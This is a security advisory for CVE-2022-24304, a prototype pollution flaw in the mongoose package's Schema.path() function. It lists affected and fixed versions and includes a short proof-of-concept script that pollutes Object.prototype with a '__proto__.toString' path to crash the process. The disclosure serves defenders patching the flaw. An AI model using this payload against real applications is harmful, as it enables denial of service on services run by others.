Packages / mongoose / Security

CriticalVulnerabilityGHSA-h8hf-x3f4-xwgpCVE-2022-24304Published 27 Aug 2022

Mongoose Vulnerable to Prototype Pollution in Schema Object

Your version

Affected releases · mongoose

  • 6.x6.0.0 – 6.4.5Fixed in 6.4.6
  • 5.x5.0.0 – 5.13.14Fixed in 5.13.15
  • 4.x and older0.0.1 – 4.13.21No fix, no longer updated

On 6.x, the newest line:

npm install mongoose@6.4.6
Every release on a timeline
9.x
  1. Not affected

    9.0.0 – 9.11.4

    49 releases, latest

6.x
  1. Affected

    6.0.0 – 6.4.5

    55 releases

  2. Fixed

    6.4.6 – 6.13.12

    67 releases

5.x
  1. Affected

    5.0.0 – 5.13.14

    246 releases

  2. Fixed

    5.13.15 – 5.13.23

    9 releases

4.x
  1. Affected

    4.0.0 – 4.13.21

    164 releases

3.x
  1. Affected

    3.0.0 – 3.9.7

    104 releases

2.x
  1. Affected

    2.0.0 – 2.9.10

    84 releases

1.x
  1. Affected

    1.0.0 – 1.8.4

    64 releases

0.x
  1. Affected

    0.0.1 – 0.0.6

    6 releases

1016 stable releases of mongoose, oldest to newest, one row per major.

What happens

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.